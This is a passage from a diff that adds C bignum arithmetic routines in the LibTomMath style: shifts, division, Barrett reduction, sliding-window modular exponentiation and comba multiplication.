n++) { + *tmpb++ = 0; + } + } + + /* copy used count and sign */ + b->used = a->used; + b->sign = a->sign; + return MP_OKAY; +} + + +/* shift right a certain amount of digits */ +static void mp_rshd (mp_int * a, int b) +{ + int x; + + /* if b <= 0 then ignore it */ + if (b <= 0) { + return; + } + + /* if b > used then simply zero it and return */ + if (a->used <= b) { + mp_zero (a); + return; + } + + { + register mp_digit *bottom, *top; + + /* shift the digits down */ + + /* bottom */ + bottom = a->dp; + + /* top [offset into digits] */ + top = a->dp + b; + + /* this is implemented as a sliding window where + * the window is b-digits long and digits from + * the top of the window are copied to the bottom + * + * e.g. + + b-2 | b-1 | b0 | b1 | b2 | ... | bb | ----> + /\ | ----> + \-------------------/ ----> + */ + for (x = 0; x < (a->used - b); x++) { + *bottom++ = *top++; + } + + /* zero the top digits */ + for (; x < a->used; x++) { + *bottom++ = 0; + } + } + + /* remove excess digits */ + a->used -= b; +} + + +/* swap the elements of two integers, for cases where you can't simply swap the + * mp_int pointers around + */ +static void mp_exch (mp_int * a, mp_int * b) +{ + mp_int t; + + t = *a; + *a = *b; + *b = t; +} + + +/* trim unused digits + * + * This is used to ensure that leading zero digits are + * trimed and the leading "used" digit will be non-zero + * Typically very fast. Also fixes the sign if there + * are no more leading digits + */ +static void mp_clamp (mp_int * a) +{ + /* decrease used while the most significant digit is + * zero. + */ + while (a->used > 0 && a->dp[a->used - 1] == 0) { + --(a->used); + } + + /* reset the sign flag if used == 0 */ + if (a->used == 0) { + a->sign = MP_ZPOS; + } +} + + +/* grow as required */ +static int mp_grow (mp_int * a, int size) +{ + int i; + mp_digit *tmp; + + /* if the alloc size is smaller alloc more ram */ + if (a->alloc < size) { + /* ensure there are always at least MP_PREC digits extra on top */ + size += (MP_PREC * 2) - (size % MP_PREC); + + /* reallocate the array a->dp + * + * We store the return in a temporary variable + * in case the operation failed we don't want + * to overwrite the dp member of a. + */ + tmp = OPT_CAST(mp_digit) XREALLOC (a->dp, sizeof (mp_digit) * size); + if (tmp == NULL) { + /* reallocation failed but "a" is still valid [can be freed] */ + return MP_MEM; + } + + /* reallocation succeeded so set a->dp */ + a->dp = tmp; + + /* zero excess digits */ + i = a->alloc; + a->alloc = size; + for (; i < a->alloc; i++) { + a->dp[i] = 0; + } + } + return MP_OKAY; +} + + +#ifdef BN_MP_ABS_C +/* b = |a| + * + * Simple function copies the input and fixes the sign to positive + */ +static int mp_abs (mp_int * a, mp_int * b) +{ + int res; + + /* copy a to b */ + if (a != b) { + if ((res = mp_copy (a, b)) != MP_OKAY) { + return res; + } + } + + /* force the sign of b to positive */ + b->sign = MP_ZPOS; + + return MP_OKAY; +} +#endif + + +/* set to a digit */ +static void mp_set (mp_int * a, mp_digit b) +{ + mp_zero (a); + a->dp[0] = b & MP_MASK; + a->used = (a->dp[0] != 0) ? 1 : 0; +} + + +#ifndef LTM_NO_NEG_EXP +/* b = a/2 */ +static int mp_div_2(mp_int * a, mp_int * b) +{ + int x, res, oldused; + + /* copy */ + if (b->alloc < a->used) { + if ((res = mp_grow (b, a->used)) != MP_OKAY) { + return res; + } + } + + oldused = b->used; + b->used = a->used; + { + register mp_digit r, rr, *tmpa, *tmpb; + + /* source alias */ + tmpa = a->dp + b->used - 1; + + /* dest alias */ + tmpb = b->dp + b->used - 1; + + /* carry */ + r = 0; + for (x = b->used - 1; x >= 0; x--) { + /* get the carry for the next iteration */ + rr = *tmpa & 1; + + /* shift the current digit, add in carry and store */ + *tmpb-- = (*tmpa-- >> 1) | (r << (DIGIT_BIT - 1)); + + /* forward carry to next iteration */ + r = rr; + } + + /* zero excess digits */ + tmpb = b->dp + b->used; + for (x = b->used; x < oldused; x++) { + *tmpb++ = 0; + } + } + b->sign = a->sign; + mp_clamp (b); + return MP_OKAY; +} +#endif /* LTM_NO_NEG_EXP */ + + +/* shift left by a certain bit count */ +static int mp_mul_2d (mp_int * a, int b, mp_int * c) +{ + mp_digit d; + int res; + + /* copy */ + if (a != c) { + if ((res = mp_copy (a, c)) != MP_OKAY) { + return res; + } + } + + if (c->alloc < (int)(c->used + b/DIGIT_BIT + 1)) { + if ((res = mp_grow (c, c->used + b / DIGIT_BIT + 1)) != MP_OKAY) { + return res; + } + } + + /* shift by as many digits in the bit count */ + if (b >= (int)DIGIT_BIT) { + if ((res = mp_lshd (c, b / DIGIT_BIT)) != MP_OKAY) { + return res; + } + } + + /* shift any bit count < DIGIT_BIT */ + d = (mp_digit) (b % DIGIT_BIT); + if (d != 0) { + register mp_digit *tmpc, shift, mask, r, rr; + register int x; + + /* bitmask for carries */ + mask = (((mp_digit)1) << d) - 1; + + /* shift for msbs */ + shift = DIGIT_BIT - d; + + /* alias */ + tmpc = c->dp; + + /* carry */ + r = 0; + for (x = 0; x < c->used; x++) { + /* get the higher bits of the current word */ + rr = (*tmpc >> shift) & mask; + + /* shift the current word and OR in the carry */ + *tmpc = ((*tmpc << d) | r) & MP_MASK; + ++tmpc; + + /* set the carry to the carry bits of the current word */ + r = rr; + } + + /* set final carry */ + if (r != 0) { + c->dp[(c->used)++] = r; + } + } + mp_clamp (c); + return MP_OKAY; +} + + +#ifdef BN_MP_INIT_MULTI_C +static int mp_init_multi(mp_int *mp, ...) +{ + mp_err res = MP_OKAY; /* Assume ok until proven otherwise */ + int n = 0; /* Number of ok inits */ + mp_int* cur_arg = mp; + va_list args; + + va_start(args, mp); /* init args to next argument from caller */ + while (cur_arg != NULL) { + if (mp_init(cur_arg) != MP_OKAY) { + /* Oops - error! Back-track and mp_clear what we already + succeeded in init-ing, then return error. + */ + va_list clean_args; + + /* end the current list */ + va_end(args); + + /* now start cleaning up */ + cur_arg = mp; + va_start(clean_args, mp); + while (n--) { + mp_clear(cur_arg); + cur_arg = va_arg(clean_args, mp_int*); + } + va_end(clean_args); + res = MP_MEM; + break; + } + n++; + cur_arg = va_arg(args, mp_int*); + } + va_end(args); + return res; /* Assumed ok, if error flagged above. */ +} +#endif + + +#ifdef BN_MP_CLEAR_MULTI_C +static void mp_clear_multi(mp_int *mp, ...) +{ + mp_int* next_mp = mp; + va_list args; + va_start(args, mp); + while (next_mp != NULL) { + mp_clear(next_mp); + next_mp = va_arg(args, mp_int*); + } + va_end(args); +} +#endif + + +/* shift left a certain amount of digits */ +static int mp_lshd (mp_int * a, int b) +{ + int x, res; + + /* if its less than zero return */ + if (b <= 0) { + return MP_OKAY; + } + + /* grow to fit the new digits */ + if (a->alloc < a->used + b) { + if ((res = mp_grow (a, a->used + b)) != MP_OKAY) { + return res; + } + } + + { + register mp_digit *top, *bottom; + + /* increment the used by the shift amount then copy upwards */ + a->used += b; + + /* top */ + top = a->dp + a->used - 1; + + /* base */ + bottom = a->dp + a->used - 1 - b; + + /* much like mp_rshd this is implemented using a sliding window + * except the window goes the otherway around. Copying from + * the bottom to the top. see bn_mp_rshd.c for more info. + */ + for (x = a->used - 1; x >= b; x--) { + *top-- = *bottom--; + } + + /* zero the lower digits */ + top = a->dp; + for (x = 0; x < b; x++) { + *top++ = 0; + } + } + return MP_OKAY; +} + + +/* returns the number of bits in an int */ +static int mp_count_bits (mp_int * a) +{ + int r; + mp_digit q; + + /* shortcut */ + if (a->used == 0) { + return 0; + } + + /* get number of digits and add that */ + r = (a->used - 1) * DIGIT_BIT; + + /* take the last digit and count the bits in it */ + q = a->dp[a->used - 1]; + while (q > ((mp_digit) 0)) { + ++r; + q >>= ((mp_digit) 1); + } + return r; +} + + +/* calc a value mod 2**b */ +static int mp_mod_2d (mp_int * a, int b, mp_int * c) +{ + int x, res; + + /* if b is <= 0 then zero the int */ + if (b <= 0) { + mp_zero (c); + return MP_OKAY; + } + + /* if the modulus is larger than the value than return */ + if (b >= (int) (a->used * DIGIT_BIT)) { + res = mp_copy (a, c); + return res; + } + + /* copy */ + if ((res = mp_copy (a, c)) != MP_OKAY) { + return res; + } + + /* zero digits above the last digit of the modulus */ + for (x = (b / DIGIT_BIT) + ((b % DIGIT_BIT) == 0 ? 0 : 1); x < c->used; x++) { + c->dp[x] = 0; + } + /* clear the digit that is not completely outside/inside the modulus */ + c->dp[b / DIGIT_BIT] &= + (mp_digit) ((((mp_digit) 1) << (((mp_digit) b) % DIGIT_BIT)) - ((mp_digit) 1)); + mp_clamp (c); + return MP_OKAY; +} + + +#ifdef BN_MP_DIV_SMALL + +/* slower bit-bang division... also smaller */ +static int mp_div(mp_int * a, mp_int * b, mp_int * c, mp_int * d) +{ + mp_int ta, tb, tq, q; + int res, n, n2; + + /* is divisor zero ? */ + if (mp_iszero (b) == 1) { + return MP_VAL; + } + + /* if a < b then q=0, r = a */ + if (mp_cmp_mag (a, b) == MP_LT) { + if (d != NULL) { + res = mp_copy (a, d); + } else { + res = MP_OKAY; + } + if (c != NULL) { + mp_zero (c); + } + return res; + } + + /* init our temps */ + if ((res = mp_init_multi(&ta, &tb, &tq, &q, NULL) != MP_OKAY)) { + return res; + } + + + mp_set(&tq, 1); + n = mp_count_bits(a) - mp_count_bits(b); + if (((res = mp_abs(a, &ta)) != MP_OKAY) || + ((res = mp_abs(b, &tb)) != MP_OKAY) || + ((res = mp_mul_2d(&tb, n, &tb)) != MP_OKAY) || + ((res = mp_mul_2d(&tq, n, &tq)) != MP_OKAY)) { + goto LBL_ERR; + } + + while (n-- >= 0) { + if (mp_cmp(&tb, &ta) != MP_GT) { + if (((res = mp_sub(&ta, &tb, &ta)) != MP_OKAY) || + ((res = mp_add(&q, &tq, &q)) != MP_OKAY)) { + goto LBL_ERR; + } + } + if (((res = mp_div_2d(&tb, 1, &tb, NULL)) != MP_OKAY) || + ((res = mp_div_2d(&tq, 1, &tq, NULL)) != MP_OKAY)) { + goto LBL_ERR; + } + } + + /* now q == quotient and ta == remainder */ + n = a->sign; + n2 = (a->sign == b->sign ? MP_ZPOS : MP_NEG); + if (c != NULL) { + mp_exch(c, &q); + c->sign = (mp_iszero(c) == MP_YES) ? MP_ZPOS : n2; + } + if (d != NULL) { + mp_exch(d, &ta); + d->sign = (mp_iszero(d) == MP_YES) ? MP_ZPOS : n; + } +LBL_ERR: + mp_clear_multi(&ta, &tb, &tq, &q, NULL); + return res; +} + +#else + +/* integer signed division. + * c*b + d == a [e.g. a/b, c=quotient, d=remainder] + * HAC pp.598 Algorithm 14.20 + * + * Note that the description in HAC is horribly + * incomplete. For example, it doesn't consider + * the case where digits are removed from 'x' in + * the inner loop. It also doesn't consider the + * case that y has fewer than three digits, etc.. + * + * The overall algorithm is as described as + * 14.20 from HAC but fixed to treat these cases. +*/ +static int mp_div (mp_int * a, mp_int * b, mp_int * c, mp_int * d) +{ + mp_int q, x, y, t1, t2; + int res, n, t, i, norm, neg; + + /* is divisor zero ? */ + if (mp_iszero (b) == 1) { + return MP_VAL; + } + + /* if a < b then q=0, r = a */ + if (mp_cmp_mag (a, b) == MP_LT) { + if (d != NULL) { + res = mp_copy (a, d); + } else { + res = MP_OKAY; + } + if (c != NULL) { + mp_zero (c); + } + return res; + } + + if ((res = mp_init_size (&q, a->used + 2)) != MP_OKAY) { + return res; + } + q.used = a->used + 2; + + if ((res = mp_init (&t1)) != MP_OKAY) { + goto LBL_Q; + } + + if ((res = mp_init (&t2)) != MP_OKAY) { + goto LBL_T1; + } + + if ((res = mp_init_copy (&x, a)) != MP_OKAY) { + goto LBL_T2; + } + + if ((res = mp_init_copy (&y, b)) != MP_OKAY) { + goto LBL_X; + } + + /* fix the sign */ + neg = (a->sign == b->sign) ? MP_ZPOS : MP_NEG; + x.sign = y.sign = MP_ZPOS; + + /* normalize both x and y, ensure that y >= b/2, [b == 2**DIGIT_BIT] */ + norm = mp_count_bits(&y) % DIGIT_BIT; + if (norm < (int)(DIGIT_BIT-1)) { + norm = (DIGIT_BIT-1) - norm; + if ((res = mp_mul_2d (&x, norm, &x)) != MP_OKAY) { + goto LBL_Y; + } + if ((res = mp_mul_2d (&y, norm, &y)) != MP_OKAY) { + goto LBL_Y; + } + } else { + norm = 0; + } + + /* note hac does 0 based, so if used==5 then its 0,1,2,3,4, e.g. use 4 */ + n = x.used - 1; + t = y.used - 1; + + /* while (x >= y*b**n-t) do { q[n-t] += 1; x -= y*b**{n-t} } */ + if ((res = mp_lshd (&y, n - t)) != MP_OKAY) { /* y = y*b**{n-t} */ + goto LBL_Y; + } + + while (mp_cmp (&x, &y) != MP_LT) { + ++(q.dp[n - t]); + if ((res = mp_sub (&x, &y, &x)) != MP_OKAY) { + goto LBL_Y; + } + } + + /* reset y by shifting it back down */ + mp_rshd (&y, n - t); + + /* step 3. for i from n down to (t + 1) */ + for (i = n; i >= (t + 1); i--) { + if (i > x.used) { + continue; + } + + /* step 3.1 if xi == yt then set q{i-t-1} to b-1, + * otherwise set q{i-t-1} to (xi*b + x{i-1})/yt */ + if (x.dp[i] == y.dp[t]) { + q.dp[i - t - 1] = ((((mp_digit)1) << DIGIT_BIT) - 1); + } else { + mp_word tmp; + tmp = ((mp_word) x.dp[i]) << ((mp_word) DIGIT_BIT); + tmp |= ((mp_word) x.dp[i - 1]); + tmp /= ((mp_word) y.dp[t]); + if (tmp > (mp_word) MP_MASK) + tmp = MP_MASK; + q.dp[i - t - 1] = (mp_digit) (tmp & (mp_word) (MP_MASK)); + } + + /* while (q{i-t-1} * (yt * b + y{t-1})) > + xi * b**2 + xi-1 * b + xi-2 + + do q{i-t-1} -= 1; + */ + q.dp[i - t - 1] = (q.dp[i - t - 1] + 1) & MP_MASK; + do { + q.dp[i - t - 1] = (q.dp[i - t - 1] - 1) & MP_MASK; + + /* find left hand */ + mp_zero (&t1); + t1.dp[0] = (t - 1 < 0) ? 0 : y.dp[t - 1]; + t1.dp[1] = y.dp[t]; + t1.used = 2; + if ((res = mp_mul_d (&t1, q.dp[i - t - 1], &t1)) != MP_OKAY) { + goto LBL_Y; + } + + /* find right hand */ + t2.dp[0] = (i - 2 < 0) ? 0 : x.dp[i - 2]; + t2.dp[1] = (i - 1 < 0) ? 0 : x.dp[i - 1]; + t2.dp[2] = x.dp[i]; + t2.used = 3; + } while (mp_cmp_mag(&t1, &t2) == MP_GT); + + /* step 3.3 x = x - q{i-t-1} * y * b**{i-t-1} */ + if ((res = mp_mul_d (&y, q.dp[i - t - 1], &t1)) != MP_OKAY) { + goto LBL_Y; + } + + if ((res = mp_lshd (&t1, i - t - 1)) != MP_OKAY) { + goto LBL_Y; + } + + if ((res = mp_sub (&x, &t1, &x)) != MP_OKAY) { + goto LBL_Y; + } + + /* if x < 0 then { x = x + y*b**{i-t-1}; q{i-t-1} -= 1; } */ + if (x.sign == MP_NEG) { + if ((res = mp_copy (&y, &t1)) != MP_OKAY) { + goto LBL_Y; + } + if ((res = mp_lshd (&t1, i - t - 1)) != MP_OKAY) { + goto LBL_Y; + } + if ((res = mp_add (&x, &t1, &x)) != MP_OKAY) { + goto LBL_Y; + } + + q.dp[i - t - 1] = (q.dp[i - t - 1] - 1UL) & MP_MASK; + } + } + + /* now q is the quotient and x is the remainder + * [which we have to normalize] + */ + + /* get sign before writing to c */ + x.sign = x.used == 0 ? MP_ZPOS : a->sign; + + if (c != NULL) { + mp_clamp (&q); + mp_exch (&q, c); + c->sign = neg; + } + + if (d != NULL) { + mp_div_2d (&x, norm, &x, NULL); + mp_exch (&x, d); + } + + res = MP_OKAY; + +LBL_Y:mp_clear (&y); +LBL_X:mp_clear (&x); +LBL_T2:mp_clear (&t2); +LBL_T1:mp_clear (&t1); +LBL_Q:mp_clear (&q); + return res; +} + +#endif + + +#ifdef MP_LOW_MEM + #define TAB_SIZE 32 +#else + #define TAB_SIZE 256 +#endif + +static int s_mp_exptmod (mp_int * G, mp_int * X, mp_int * P, mp_int * Y, int redmode) +{ + mp_int M[TAB_SIZE], res, mu; + mp_digit buf; + int err, bitbuf, bitcpy, bitcnt, mode, digidx, x, y, winsize; + int (*redux)(mp_int*,mp_int*,mp_int*); + + /* find window size */ + x = mp_count_bits (X); + if (x <= 7) { + winsize = 2; + } else if (x <= 36) { + winsize = 3; + } else if (x <= 140) { + winsize = 4; + } else if (x <= 450) { + winsize = 5; + } else if (x <= 1303) { + winsize = 6; + } else if (x <= 3529) { + winsize = 7; + } else { + winsize = 8; + } + +#ifdef MP_LOW_MEM + if (winsize > 5) { + winsize = 5; + } +#endif + + /* init M array */ + /* init first cell */ + if ((err = mp_init(&M[1])) != MP_OKAY) { + return err; + } + + /* now init the second half of the array */ + for (x = 1<<(winsize-1); x < (1 << winsize); x++) { + if ((err = mp_init(&M[x])) != MP_OKAY) { + for (y = 1<<(winsize-1); y < x; y++) { + mp_clear (&M[y]); + } + mp_clear(&M[1]); + return err; + } + } + + /* create mu, used for Barrett reduction */ + if ((err = mp_init (&mu)) != MP_OKAY) { + goto LBL_M; + } + + if (redmode == 0) { + if ((err = mp_reduce_setup (&mu, P)) != MP_OKAY) { + goto LBL_MU; + } + redux = mp_reduce; + } else { + if ((err = mp_reduce_2k_setup_l (P, &mu)) != MP_OKAY) { + goto LBL_MU; + } + redux = mp_reduce_2k_l; + } + + /* create M table + * + * The M table contains powers of the base, + * e.g. M[x] = G**x mod P + * + * The first half of the table is not + * computed though accept for M[0] and M[1] + */ + if ((err = mp_mod (G, P, &M[1])) != MP_OKAY) { + goto LBL_MU; + } + + /* compute the value at M[1<<(winsize-1)] by squaring + * M[1] (winsize-1) times + */ + if ((err = mp_copy (&M[1], &M[1 << (winsize - 1)])) != MP_OKAY) { + goto LBL_MU; + } + + for (x = 0; x < (winsize - 1); x++) { + /* square it */ + if ((err = mp_sqr (&M[1 << (winsize - 1)], + &M[1 << (winsize - 1)])) != MP_OKAY) { + goto LBL_MU; + } + + /* reduce modulo P */ + if ((err = redux (&M[1 << (winsize - 1)], P, &mu)) != MP_OKAY) { + goto LBL_MU; + } + } + + /* create upper table, that is M[x] = M[x-1] * M[1] (mod P) + * for x = (2**(winsize - 1) + 1) to (2**winsize - 1) + */ + for (x = (1 << (winsize - 1)) + 1; x < (1 << winsize); x++) { + if ((err = mp_mul (&M[x - 1], &M[1], &M[x])) != MP_OKAY) { + goto LBL_MU; + } + if ((err = redux (&M[x], P, &mu)) != MP_OKAY) { + goto LBL_MU; + } + } + + /* setup result */ + if ((err = mp_init (&res)) != MP_OKAY) { + goto LBL_MU; + } + mp_set (&res, 1); + + /* set initial mode and bit cnt */ + mode = 0; + bitcnt = 1; + buf = 0; + digidx = X->used - 1; + bitcpy = 0; + bitbuf = 0; + + for (;;) { + /* grab next digit as required */ + if (--bitcnt == 0) { + /* if digidx == -1 we are out of digits */ + if (digidx == -1) { + break; + } + /* read next digit and reset the bitcnt */ + buf = X->dp[digidx--]; + bitcnt = (int) DIGIT_BIT; + } + + /* grab the next msb from the exponent */ + y = (buf >> (mp_digit)(DIGIT_BIT - 1)) & 1; + buf <<= (mp_digit)1; + + /* if the bit is zero and mode == 0 then we ignore it + * These represent the leading zero bits before the first 1 bit + * in the exponent. Technically this opt is not required but it + * does lower the # of trivial squaring/reductions used + */ + if (mode == 0 && y == 0) { + continue; + } + + /* if the bit is zero and mode == 1 then we square */ + if (mode == 1 && y == 0) { + if ((err = mp_sqr (&res, &res)) != MP_OKAY) { + goto LBL_RES; + } + if ((err = redux (&res, P, &mu)) != MP_OKAY) { + goto LBL_RES; + } + continue; + } + + /* else we add it to the window */ + bitbuf |= (y << (winsize - ++bitcpy)); + mode = 2; + + if (bitcpy == winsize) { + /* ok window is filled so square as required and multiply */ + /* square first */ + for (x = 0; x < winsize; x++) { + if ((err = mp_sqr (&res, &res)) != MP_OKAY) { + goto LBL_RES; + } + if ((err = redux (&res, P, &mu)) != MP_OKAY) { + goto LBL_RES; + } + } + + /* then multiply */ + if ((err = mp_mul (&res, &M[bitbuf], &res)) != MP_OKAY) { + goto LBL_RES; + } + if ((err = redux (&res, P, &mu)) != MP_OKAY) { + goto LBL_RES; + } + + /* empty window and reset */ + bitcpy = 0; + bitbuf = 0; + mode = 1; + } + } + + /* if bits remain then square/multiply */ + if (mode == 2 && bitcpy > 0) { + /* square then multiply if the bit is set */ + for (x = 0; x < bitcpy; x++) { + if ((err = mp_sqr (&res, &res)) != MP_OKAY) { + goto LBL_RES; + } + if ((err = redux (&res, P, &mu)) != MP_OKAY) { + goto LBL_RES; + } + + bitbuf <<= 1; + if ((bitbuf & (1 << winsize)) != 0) { + /* then multiply */ + if ((err = mp_mul (&res, &M[1], &res)) != MP_OKAY) { + goto LBL_RES; + } + if ((err = redux (&res, P, &mu)) != MP_OKAY) { + goto LBL_RES; + } + } + } + } + + mp_exch (&res, Y); + err = MP_OKAY; +LBL_RES:mp_clear (&res); +LBL_MU:mp_clear (&mu); +LBL_M: + mp_clear(&M[1]); + for (x = 1<<(winsize-1); x < (1 << winsize); x++) { + mp_clear (&M[x]); + } + return err; +} + + +/* computes b = a*a */ +static int mp_sqr (mp_int * a, mp_int * b) +{ + int res; + +#ifdef BN_MP_TOOM_SQR_C + /* use Toom-Cook? */ + if (a->used >= TOOM_SQR_CUTOFF) { + res = mp_toom_sqr(a, b); + /* Karatsuba? */ + } else +#endif +#ifdef BN_MP_KARATSUBA_SQR_C +if (a->used >= KARATSUBA_SQR_CUTOFF) { + res = mp_karatsuba_sqr (a, b); + } else +#endif + { +#ifdef BN_FAST_S_MP_SQR_C + /* can we use the fast comba multiplier? */ + if ((a->used * 2 + 1) < MP_WARRAY && + a->used < + (1 << (sizeof(mp_word) * CHAR_BIT - 2*DIGIT_BIT - 1))) { + res = fast_s_mp_sqr (a, b); + } else +#endif +#ifdef BN_S_MP_SQR_C + res = s_mp_sqr (a, b); +#else +#error mp_sqr could fail + res = MP_VAL; +#endif + } + b->sign = MP_ZPOS; + return res; +} + + +/* reduces a modulo n where n is of the form 2**p - d + This differs from reduce_2k since "d" can be larger + than a single digit. +*/ +static int mp_reduce_2k_l(mp_int *a, mp_int *n, mp_int *d) +{ + mp_int q; + int p, res; + + if ((res = mp_init(&q)) != MP_OKAY) { + return res; + } + + p = mp_count_bits(n); +top: + /* q = a/2**p, a = a mod 2**p */ + if ((res = mp_div_2d(a, p, &q, a)) != MP_OKAY) { + goto ERR; + } + + /* q = q * d */ + if ((res = mp_mul(&q, d, &q)) != MP_OKAY) { + goto ERR; + } + + /* a = a + q */ + if ((res = s_mp_add(a, &q, a)) != MP_OKAY) { + goto ERR; + } + + if (mp_cmp_mag(a, n) != MP_LT) { + s_mp_sub(a, n, a); + goto top; + } + +ERR: + mp_clear(&q); + return res; +} + + +/* determines the setup value */ +static int mp_reduce_2k_setup_l(mp_int *a, mp_int *d) +{ + int res; + mp_int tmp; + + if ((res = mp_init(&tmp)) != MP_OKAY) { + return res; + } + + if ((res = mp_2expt(&tmp, mp_count_bits(a))) != MP_OKAY) { + goto ERR; + } + + if ((res = s_mp_sub(&tmp, a, d)) != MP_OKAY) { + goto ERR; + } + +ERR: + mp_clear(&tmp); + return res; +} + + +/* computes a = 2**b + * + * Simple algorithm which zeroes the int, grows it then just sets one bit + * as required. + */ +static int mp_2expt (mp_int * a, int b) +{ + int res; + + /* zero a as per default */ + mp_zero (a); + + /* grow a to accommodate the single bit */ + if ((res = mp_grow (a, b / DIGIT_BIT + 1)) != MP_OKAY) { + return res; + } + + /* set the used count of where the bit will go */ + a->used = b / DIGIT_BIT + 1; + + /* put the single bit in its place */ + a->dp[b / DIGIT_BIT] = ((mp_digit)1) << (b % DIGIT_BIT); + + return MP_OKAY; +} + + +/* pre-calculate the value required for Barrett reduction + * For a given modulus "b" it calulates the value required in "a" + */ +static int mp_reduce_setup (mp_int * a, mp_int * b) +{ + int res; + + if ((res = mp_2expt (a, b->used * 2 * DIGIT_BIT)) != MP_OKAY) { + return res; + } + return mp_div (a, b, a, NULL); +} + + +/* reduces x mod m, assumes 0 < x < m**2, mu is + * precomputed via mp_reduce_setup. + * From HAC pp.604 Algorithm 14.42 + */ +static int mp_reduce (mp_int * x, mp_int * m, mp_int * mu) +{ + mp_int q; + int res, um = m->used; + + /* q = x */ + if ((res = mp_init_copy (&q, x)) != MP_OKAY) { + return res; + } + + /* q1 = x / b**(k-1) */ + mp_rshd (&q, um - 1); + + /* according to HAC this optimization is ok */ + if (((unsigned long) um) > (((mp_digit)1) << (DIGIT_BIT - 1))) { + if ((res = mp_mul (&q, mu, &q)) != MP_OKAY) { + goto CLEANUP; + } + } else { +#ifdef BN_S_MP_MUL_HIGH_DIGS_C + if ((res = s_mp_mul_high_digs (&q, mu, &q, um)) != MP_OKAY) { + goto CLEANUP; + } +#elif defined(BN_FAST_S_MP_MUL_HIGH_DIGS_C) + if ((res = fast_s_mp_mul_high_digs (&q, mu, &q, um)) != MP_OKAY) { + goto CLEANUP; + } +#else + { +#error mp_reduce would always fail + res = MP_VAL; + goto CLEANUP; + } +#endif + } + + /* q3 = q2 / b**(k+1) */ + mp_rshd (&q, um + 1); + + /* x = x mod b**(k+1), quick (no division) */ + if ((res = mp_mod_2d (x, DIGIT_BIT * (um + 1), x)) != MP_OKAY) { + goto CLEANUP; + } + + /* q = q * m mod b**(k+1), quick (no division) */ + if ((res = s_mp_mul_digs (&q, m, &q, um + 1)) != MP_OKAY) { + goto CLEANUP; + } + + /* x = x - q */ + if ((res = mp_sub (x, &q, x)) != MP_OKAY) { + goto CLEANUP; + } + + /* If x < 0, add b**(k+1) to it */ + if (mp_cmp_d (x, 0) == MP_LT) { + mp_set (&q, 1); + if ((res = mp_lshd (&q, um + 1)) != MP_OKAY) { + goto CLEANUP; + } + if ((res = mp_add (x, &q, x)) != MP_OKAY) { + goto CLEANUP; + } + } + + /* Back off if it's too big */ + while (mp_cmp (x, m) != MP_LT) { + if ((res = s_mp_sub (x, m, x)) != MP_OKAY) { + goto CLEANUP; + } + } + +CLEANUP: + mp_clear (&q); + + return res; +} + + +/* multiplies |a| * |b| and only computes up to digs digits of result + * HAC pp. 595, Algorithm 14.12 Modified so you can control how + * many digits of output are created. + */ +static int s_mp_mul_digs (mp_int * a, mp_int * b, mp_int * c, int digs) +{ + mp_int t; + int res, pa, pb, ix, iy; + mp_digit u; + mp_word r; + mp_digit tmpx, *tmpt, *tmpy; + +#ifdef BN_FAST_S_MP_MUL_DIGS_C + /* can we use the fast multiplier? */ + if (((digs) < MP_WARRAY) && + MIN (a->used, b->used) < + (1 << ((CHAR_BIT * sizeof (mp_word)) - (2 * DIGIT_BIT)))) { + return fast_s_mp_mul_digs (a, b, c, digs); + } +#endif + + if ((res = mp_init_size (&t, digs)) != MP_OKAY) { + return res; + } + t.used = digs; + + /* compute the digits of the product directly */ + pa = a->used; + for (ix = 0; ix < pa; ix++) { + /* set the carry to zero */ + u = 0; + + /* limit ourselves to making digs digits of output */ + pb = MIN (b->used, digs - ix); + + /* setup some aliases */ + /* copy of the digit from a used within the nested loop */ + tmpx = a->dp[ix]; + + /* an alias for the destination shifted ix places */ + tmpt = t.dp + ix; + + /* an alias for the digits of b */ + tmpy = b->dp; + + /* compute the columns of the output and propagate the carry */ + for (iy = 0; iy < pb; iy++) { + /* compute the column as a mp_word */ + r = ((mp_word)*tmpt) + + ((mp_word)tmpx) * ((mp_word)*tmpy++) + + ((mp_word) u); + + /* the new column is the lower part of the result */ + *tmpt++ = (mp_digit) (r & ((mp_word) MP_MASK)); + + /* get the carry word from the result */ + u = (mp_digit) (r >> ((mp_word) DIGIT_BIT)); + } + /* set carry if it is placed below digs */ + if (ix + iy < digs) { + *tmpt = u; + } + } + + mp_clamp (&t); + mp_exch (&t, c); + + mp_clear (&t); + return MP_OKAY; +} + + +#ifdef BN_FAST_S_MP_MUL_DIGS_C +/* Fast (comba) multiplier + * + * This is the fast column-array [comba] multiplier. It is + * designed to compute the columns of the product first + * then handle the carries afterwards. This has the effect + * of making the nested loops that compute the columns very + * simple and schedulable on super-scalar processors. + * + * This has been modified to produce a variable number of + * digits of output so if say only a half-product is required + * you don't have to compute the upper half (a feature + * required for fast Barrett reduction). + * + * Based on Algorithm 14.12 on pp.595 of HAC. + * + */ +static int fast_s_mp_mul_digs (mp_int * a, mp_int * b, mp_int * c, int digs) +{ + int olduse, res, pa, ix, iz; + mp_digit W[MP_WARRAY]; + register mp_word _W; + + /* grow the destination as required */ + if (c->alloc < digs) { + if ((res = mp_grow (c, digs)) != MP_OKAY) { + return res; + } + } + + /* number of output digits to produce */ + pa = MIN(digs, a->used + b->used); + + /* clear the carry */ + _W = 0; + for (ix = 0; ix < pa; ix++) { + int tx, ty; + int iy; + mp_digit *tmpx, *tmpy; + + /* get offsets into the two bignums */ + ty = MIN(b->used-1, ix); + tx = ix - ty; + + /* setup temp aliases */ + tmpx = a->dp + tx; + tmpy = b->dp + ty; + + /* this is the number of times the loop will iterrate, essentially + while (tx++ < a->used && ty-- >= 0) { ... } + */ + iy = MIN(a->used-tx, ty+1); + + /* execute loop */ + for (iz = 0; iz < iy; ++iz) { + _W += ((mp_word)*tmpx++)*((mp_word)*tmpy--); + + } + + /* store term */ + W[ix] = ((mp_digit)_W) & MP_MASK; + + /* make next carry */ + _W = _W >> ((mp_word)DIGIT_BIT); + } + + /* setup dest */ + olduse = c->used; + c->used = pa; + + { + register mp_digit *tmpc; + tmpc = c->dp; + for (ix = 0; ix < pa+1; ix++) { + /* now extract the previous digit [below the carry] */ + *tmpc++ = W[ix]; + } + + /* clear unused digits [that existed in the old copy of c] */ + for (; ix < olduse; ix++) { + *tmpc++ = 0; + } + } + mp_clamp (c); + return MP_OKAY; +} +#endif /* BN_FAST_S_MP_MUL_DIGS_C */ + + +/* init an mp_init for a given size */ +static int mp_init_size (mp_int * a, int size) +{ + int x; + + /* pad size so there are always extra digits */ + size += (MP_PREC * 2) - (size % MP_PREC); + + /* alloc mem */ + a->dp = OPT_CAST(mp_digit) XMALLOC (sizeof (mp_digit) * size); + if (a->dp == NULL) { + return MP_MEM; + } + + 